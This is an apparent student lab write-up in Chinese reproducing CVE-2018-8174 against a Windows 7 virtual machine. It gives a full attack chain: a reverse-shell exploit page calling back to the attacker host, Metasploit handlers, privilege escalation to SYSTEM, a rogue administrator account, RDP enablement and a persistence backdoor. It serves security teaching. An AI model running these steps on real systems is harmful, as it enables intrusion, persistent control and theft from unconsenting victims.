漏洞CNNVD-201805-248的复现与提权
實(shí)驗(yàn)原理介紹(圖文)
本次實(shí)驗(yàn)實(shí)現(xiàn)漏洞CNNVD-201805-248的復(fù)現(xiàn)與入侵,以及后續(xù)的提權(quán)管理員和留后門操作。
漏洞基本信息:
漏洞名稱:Microsoft Windows VBScript 引擎安全漏洞
CNNVD編號(hào):CNNVD-201805-248
CVE編號(hào):CVE-2018-8174
危害等級(jí):高危
漏洞類型:緩沖區(qū)錯(cuò)誤
威脅類型:遠(yuǎn)程
發(fā)布時(shí)間:2018-05-10
漏洞簡(jiǎn)介:Microsoft Windows 7等都是美國微軟(Microsoft)公司發(fā)布的一系列操作系統(tǒng)。Windows VBScript engine是其中的一個(gè)VBScript(腳本語言)引擎。Microsoft Windows VBScript引擎中存在遠(yuǎn)程代碼執(zhí)行漏洞。遠(yuǎn)程攻擊者可利用該漏洞在當(dāng)前用戶的上下文中執(zhí)行任意代碼,造成內(nèi)存損壞。
漏洞POC如下:
POC中首先定義了兩個(gè)數(shù)組array_a和array_b,并聲明了一個(gè)類Trigger,Trigger中重載了析構(gòu)函數(shù)Class_Terminate,在UAF函數(shù)中,創(chuàng)建了一個(gè)Trigger的實(shí)例賦值給數(shù)組array_a (1),并通過Erase array_a清空array_a中的元素,這時(shí)候在析構(gòu)array_a中的元素的時(shí)候會(huì)觸發(fā)腳本中Class_Terminate的調(diào)用,在Class_Terminate中增加了一個(gè)array_b(0)對(duì)Trigger實(shí)例的引用(Trigger實(shí)例引用計(jì)數(shù)+1),再通過array_a (1)= 1刪除array_a (1) 對(duì)Trigger實(shí)例的引用(Trigger實(shí)例引用計(jì)數(shù)-1)來平衡引用計(jì)數(shù),這時(shí)候Trigger實(shí)例會(huì)被釋放,但是array_b(0)仍然保留了這個(gè)Trigger實(shí)例的引用,從而array_b(0)指向了被釋放的Trigger實(shí)例的內(nèi)存,最終在TriggerVuln中通過b(0) = 0訪問未分配內(nèi)存觸發(fā)漏洞。
環(huán)境配置介紹(圖文)
攻擊機(jī)操作系統(tǒng)信息:Linux kali 4.18.0 amd64(靜態(tài)IP:192.168.3.200)
靶機(jī)操作系統(tǒng)信息:Windows 7 Professional SP1 32位(靜態(tài)IP:192.168.3.250)
靶機(jī)瀏覽器版本信息:IE8
攻擊機(jī)和靶機(jī)都是部署在VMware上的虛擬機(jī)。
實(shí)驗(yàn)過程詳細(xì)介紹(圖文)
一、 部署攻擊
第一步,利用漏洞攻擊模塊撬開win7的大門,獲得靶機(jī)的shell。
1.下載漏洞模塊
git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
在攻擊機(jī)kali中打開終端,從github下載到用于攻擊該漏洞的攻擊模塊。本次實(shí)驗(yàn)使用的是”Yt1g3r”上傳的使用python語言編寫的EXP。
2.編譯文件
python CVE-2018-8174.py -u http://192.168.3.200/exploit.html -o msf.rtf -i 192.168.3.200 -p 4444
進(jìn)入上面下載到的CVE-2018-8174_EXP文件夾,將py文件編譯為惡意html文件。此處 -i選項(xiàng)為kali攻擊機(jī)ip, -p選項(xiàng)為監(jiān)聽端口4444。
3.復(fù)制文件
cp exploit.html /var/www/html
將上一步編譯得到的html文件復(fù)制到網(wǎng)站根目錄下,以便通過瀏覽器訪問。
4.web服務(wù)器開啟
service apache2 start
開啟攻擊機(jī)的apache2服務(wù),啟動(dòng)web服務(wù)器。
5.使用metasploit獲得靶機(jī)的shell
打開metasploit的命令行模式,輸入以下指令:
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.3.200
exploit
使用metasploit的exploit/multi/handler模塊,PAYLOAD設(shè)置為windows/shell/reverse_tcp,設(shè)置相關(guān)參數(shù),開始攻擊。show options可見所有可設(shè)置項(xiàng)。LHOST設(shè)置為攻擊機(jī)ip,LPORT設(shè)置為監(jiān)聽端口,此處LPORT已經(jīng)默認(rèn)為4444,否則set LPORT 4444。
6.靶機(jī)win7使用IE瀏覽器訪問192.168.3.200/exploit.html
在IE中打開惡意鏈接后,雖然頁面顯示打開失敗,但是實(shí)際攻擊已經(jīng)成功,kali機(jī)獲得返回的shell。
打開返回的shell。
win7打開惡意鏈接后,在kali的metasploit中可以看見攻擊成功返回的信息,提示有“shell session opened”即已成功建立和靶機(jī)的連接會(huì)話。
回車一下,可進(jìn)入win7的cmd。
chcp 65001 清除亂碼。
此時(shí)已可在cmd命令行中遠(yuǎn)程對(duì)win7進(jìn)行一些簡(jiǎn)單的操作,例如在桌面彈出一個(gè)計(jì)算器。
而當(dāng)我們嘗試添加新用戶net user hacker 123456 /add ,發(fā)現(xiàn)指令被拒絕,說明當(dāng)前用戶權(quán)限太低。windows開機(jī)時(shí)默認(rèn)登錄一個(gè)普通用戶賬號(hào),攻擊進(jìn)行到這里只能取得和當(dāng)前用戶相同的權(quán)限,所以我們目前僅擁有普通用戶權(quán)限,所以為了對(duì)靶機(jī)進(jìn)行更多操作,我們需要進(jìn)一步進(jìn)行提權(quán)處理。
二、 shell升級(jí)
第二步,為了后續(xù)使用其他手段提權(quán),將第一步得到的shell升級(jí)為meterpreter shell。
1.將shell轉(zhuǎn)到后臺(tái)
Ctrl+z
2.確認(rèn),注意這里是session 2
y 回車
3.查看對(duì)應(yīng)序號(hào),該session類型為shell x86/windows
sessions -l
4. 載入轉(zhuǎn)換模塊
use post/multi/manage/shell_to_meterpreter
5.設(shè)置要升級(jí)的SESSION
set SESSION 2
在第2步將shell轉(zhuǎn)到后臺(tái)時(shí),放到后臺(tái)的是SESSION 2,所以此處設(shè)置為SESSION2。
6.開始攻擊
run
開始進(jìn)行shell類型轉(zhuǎn)換。出現(xiàn)Meterpreter session 3 opened語句,轉(zhuǎn)換成功。
7.查看是否出現(xiàn)新的SESSION
sessions -l
可以看到新出現(xiàn)的SESSION3類型為meterpreter x86/windows,這就是上面的shell轉(zhuǎn)換出來的新SESSION。
8.進(jìn)入新SESSION
sessions -i 3
進(jìn)入剛剛升級(jí)出來的SESSION,可以看到meterpreter > 提示符,使用一些meterpreter的指令。
此時(shí)輸入getsystem還是顯示沒有權(quán)限 ,使用background將SESSION3再次放到后臺(tái)。
三、 漏洞提權(quán)
第三步,配合其他漏洞提權(quán)為管理員。
use exploit/windows/local/ms16_016_webdav
set SESSION 3 (上面第二步升級(jí)后的新SESSION)
exploit
使用exploit/windows/local/ms16_016_webdav模塊,設(shè)置相關(guān)參數(shù),開始攻擊。此處設(shè)置SESSION為第二步得到的SESSION3。
3.查看可利用進(jìn)程
ps (查看進(jìn)程,找到系統(tǒng)權(quán)限進(jìn)程號(hào)3928)
4.遷移進(jìn)程
migrate 3928
遷移進(jìn)程,獲取系統(tǒng)管理員權(quán)限。
查看uid,發(fā)現(xiàn)用戶名已經(jīng)是NT AUTHORITY\SYSTEM,擁有管理員權(quán)限。
四、 創(chuàng)建管理員
第四步,創(chuàng)建新的管理員權(quán)限賬號(hào)。
1.進(jìn)入cmd shell
shell
從meterpreter命令行進(jìn)入win7cmd命令行。
2.添加新用戶
net user hack 123 /add
創(chuàng)建用戶名是hack,密碼是123的新用戶。
3.給新用戶添加管理員權(quán)限
net localgroup administrators hack /add
將剛剛創(chuàng)建的hack設(shè)為管理員。
4.成功,已獲得該系統(tǒng)的管理員權(quán)限
五、 遠(yuǎn)程登錄
第五步,開啟目標(biāo)機(jī)器的3389端口,進(jìn)行遠(yuǎn)程桌面連接。
1.查看目標(biāo)機(jī)器端口使用情況
在cmd中使用netstat -an查看3389端口是否開啟
并沒有開啟,所以我們需要打開該端口
2.添加3389入站規(guī)則
netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
設(shè)置防火墻允許通過3389端口遠(yuǎn)程桌面登錄。
3.開啟端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
修改注冊(cè)表開啟3389端口
4.使用第四步中創(chuàng)建的賬戶遠(yuǎn)程登錄
(在meterpreter)portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.3.200 (此為攻擊機(jī)kali的ip)
(在kali終端)rdesktop -u hack -p 123 192.168.3.250
portfwd命令在meterpreter中使用,所以本地IP填寫127.0.0.1,遠(yuǎn)端IP填寫kali機(jī)的IP,端口使用前面打開的3389端口。
rdesktop命令-u選項(xiàng)填寫第四步中創(chuàng)建的新用戶,-p選項(xiàng)填寫該用戶的密碼,最后一個(gè)參數(shù)填寫要連接的機(jī)器,也就是靶機(jī)win7的IP地址。
六、 裝后門
第六步,植入后門木馬,讓靶機(jī)在重啟后仍會(huì)自動(dòng)重連到kali。
1.生成后門木馬
(在meterpreter)run persistence -X -i 5 -p 5000 -r 192.168.3.200 (本機(jī)IP地址)
設(shè)置重連的IP地址和端口號(hào)。
此時(shí),可以在遠(yuǎn)程桌面中打開”Persistent Script written”一行中顯示的路徑,確認(rèn)后綴名為vbs的木馬文件是否已成功安裝到win7。
2.win7關(guān)機(jī)
在meterpreter命令行中會(huì)顯示會(huì)話已關(guān)閉,本次連接已斷開。
3.設(shè)置重連監(jiān)聽
打開新的metasploit窗口,輸入以下命令。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.3.200
set lport 5000 #要跟設(shè)置 run persistence 時(shí)的端口一致
exploit
使用exploit/multi/handler模塊,設(shè)置PAYLOAD為windows/meterpreter/reverse_tcp,LHOST和lport設(shè)置為和run persistence命令中相同的IP地址和端口號(hào),開啟攻擊。此時(shí)開始監(jiān)聽來自win7的重連,當(dāng)win7重新開機(jī),木馬文件被啟動(dòng),此處將自動(dòng)收到重連的會(huì)話。
4.在win7中執(zhí)行木馬文件
win7再開機(jī)后會(huì)彈出木馬文件的執(zhí)行請(qǐng)求,點(diǎn)擊打開,kali機(jī)就能打開重連的會(huì)話。
這次實(shí)驗(yàn)我們認(rèn)為最難的一點(diǎn)是從拿到靶機(jī)的shell到成功提權(quán)管理員的轉(zhuǎn)接。
一開始選擇CVE-2018-8172這個(gè)漏洞進(jìn)行復(fù)現(xiàn)的時(shí)候,我們根據(jù)找到的資料,在kali從github下載漏洞攻擊文件,編譯文件,在終端開啟監(jiān)聽,進(jìn)行攻擊,得到win7的shell,直到這一步還是很順利的,但是發(fā)現(xiàn)只是普通用戶權(quán)限,很多指令都不能用,比如創(chuàng)建新用戶,開啟程序,修改注冊(cè)表,開啟端口等。使用這些高級(jí)指令必須要得到最高的管理員權(quán)限。后來查網(wǎng)上的資料發(fā)現(xiàn)【以常規(guī)手段】在win7開啟最高的管理員權(quán)限有以下幾種辦法:
①在開始——運(yùn)行——輸入cmd,右鍵“以管理員身份運(yùn)行”,再進(jìn)入cmd界面,這時(shí)候上面提到的高級(jí)指令才變得可用。
②用戶以管理員身份開機(jī)。
③知道管理員用戶的密碼,輸入密碼登錄管理員賬號(hào)。
因?yàn)槲覀兡壳皟H僅只是在kali中進(jìn)入了win7普通用戶權(quán)限的cmd shell,想要實(shí)現(xiàn)第1點(diǎn)的話,必須遠(yuǎn)程開啟win7的端口,修改win7的注冊(cè)表等等……在kali遠(yuǎn)程進(jìn)行這些操作,無疑需要獲得該靶機(jī)win7的最高的管理員權(quán)限,這里就形成了邏輯閉環(huán),因此第1點(diǎn)在普通用戶權(quán)限的shell是無法實(shí)現(xiàn)的。
至于第2點(diǎn)的實(shí)現(xiàn)則需要一定的幾率,如果用戶以管理員身份開機(jī),則我們上面的操作就能獲得管理員權(quán)限。但是如果用戶沒有以管理員身份開機(jī)(這種情況是更加常見的,因?yàn)橐话愕膚in7用戶大多數(shù)都是以默認(rèn)的普通用戶權(quán)限開機(jī)的),則無法實(shí)現(xiàn)。我們的入侵應(yīng)該依靠win7漏洞和各種kali的滲透工具的主觀能動(dòng)性,不能把希望寄托在靶機(jī)以管理員權(quán)限開機(jī)這種偶然性事件上面。
至于第3點(diǎn)則更難實(shí)現(xiàn)了,如果事先就已經(jīng)知道靶機(jī)用戶的密碼,那也沒有利用win7本身的漏洞秘密攻擊靶機(jī)的必要了。
之后我們考慮尋找在可以metasploit中使用的攻擊模塊,因?yàn)槲覀兦懊娴淖龇ㄊ侵苯釉诮K端使用nc命令監(jiān)聽4444端口,雖然能打開cmd shell卻對(duì)后續(xù)提權(quán)無從下手,而在metasploit中我們會(huì)有更多可用的攻擊工具。于是我們?cè)趃ithub搜索CVE-2018-8172這個(gè)漏洞的相關(guān)攻擊模塊,找到了0x09AL這位github用戶用ruby語言寫的CVE-2018-8172的攻擊模塊下載數(shù)最多,并進(jìn)行嘗試。經(jīng)過我們的實(shí)踐之后,發(fā)現(xiàn)他寫的攻擊模塊不能成功返回shell。我們注意到readme文檔中有一句”The exploit doesn’t work very well with meterpreter shellcode so it’s better to use non-staged reverse shell.”,猜測(cè)需要換一種類型的payload。我們嘗試了幾種別的payload,發(fā)現(xiàn)也不能成功,使用single的payload甚至?xí)顬g覽器進(jìn)入未響應(yīng)狀態(tài)。最后我們判斷這個(gè)攻擊模塊不能使用,但也在此感謝一下這位0x09AL同志的付出。
這樣看來漏洞CVE-2018-8172似乎只能走到這步了,但是我和我的組員還是不甘于這個(gè)結(jié)果,指導(dǎo)老師給了我們提示:可結(jié)合其他漏洞和方法進(jìn)行入侵。
一開始我查閱資料,找到了一種似乎可以提權(quán)的方法,在cmd 中輸入at 16:53 /interactive cmd ,使用taskmgr命令打開任務(wù)管理器,殺死現(xiàn)用戶桌面進(jìn)程(explorer.exe),新建explorer.exe,則整個(gè)界面都在管理員(因?yàn)楫?dāng)前的explorer進(jìn)程是在system權(quán)限運(yùn)行的),然后再重新打開cmd,當(dāng)前用戶就變成system了。但是實(shí)踐發(fā)現(xiàn)這些指令只在xp系統(tǒng)有效,在win7系統(tǒng)的環(huán)境下運(yùn)行這些指令會(huì)被限制導(dǎo)致提權(quán)失敗,而且這種提權(quán)的方式是沒有用到CVE-2018-8172這個(gè)漏洞的,就和這個(gè)網(wǎng)絡(luò)攻防題目相沖突了,遂放棄。
kali自帶的滲透工具metasploit裝有許多提權(quán)漏洞的攻擊模塊,如永恒之藍(lán),ms13_053,ms14_058,ms16_016,ms16_032等,但是發(fā)現(xiàn)這些提權(quán)漏洞的可填參數(shù)很簡(jiǎn)單,是一個(gè)session,也就是說利用這些漏洞入侵的前提是要有一個(gè)meterpreter的session。
然后我們梳理了漏洞入侵的一般流程,想到利用python語言的那個(gè)攻擊腳本進(jìn)入到win7的cmd的時(shí)候已經(jīng)成功返回了一個(gè)shell,只是不是meterpreter類型的session,但這不失為一個(gè)機(jī)會(huì),只要我們將在終端進(jìn)行的監(jiān)聽接入到metasploit來進(jìn)行,就可能有機(jī)會(huì)利用到metasploit自帶的豐富的攻擊模塊。
于是我們?cè)俨殚嗁Y料,學(xué)到了利用metasploit中的shell_to_meterpreter這個(gè)模塊,我們成功把win7的shell轉(zhuǎn)換成meterpreter shell,產(chǎn)生了一個(gè)meterpreter的session。然后再利用ms16_016_webdav這個(gè)漏洞,填入session參數(shù),成功進(jìn)行進(jìn)一步提權(quán)。
后續(xù)我們參考了課件“溢出實(shí)驗(yàn)”中遠(yuǎn)程連接和留后門的操作,都比較順利。
這次實(shí)驗(yàn)比較大的經(jīng)驗(yàn)教訓(xùn)是,當(dāng)一條路走不通的時(shí)候,可以腳踩多條路一個(gè)急轉(zhuǎn)彎,觸類旁通是有益的。
總結(jié)
以上是生活随笔為你收集整理的漏洞CNNVD-201805-248的复现与提权的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ai人工智能电话机器人应用市场分析
- 下一篇: #Pragma Pack(n)与内存分配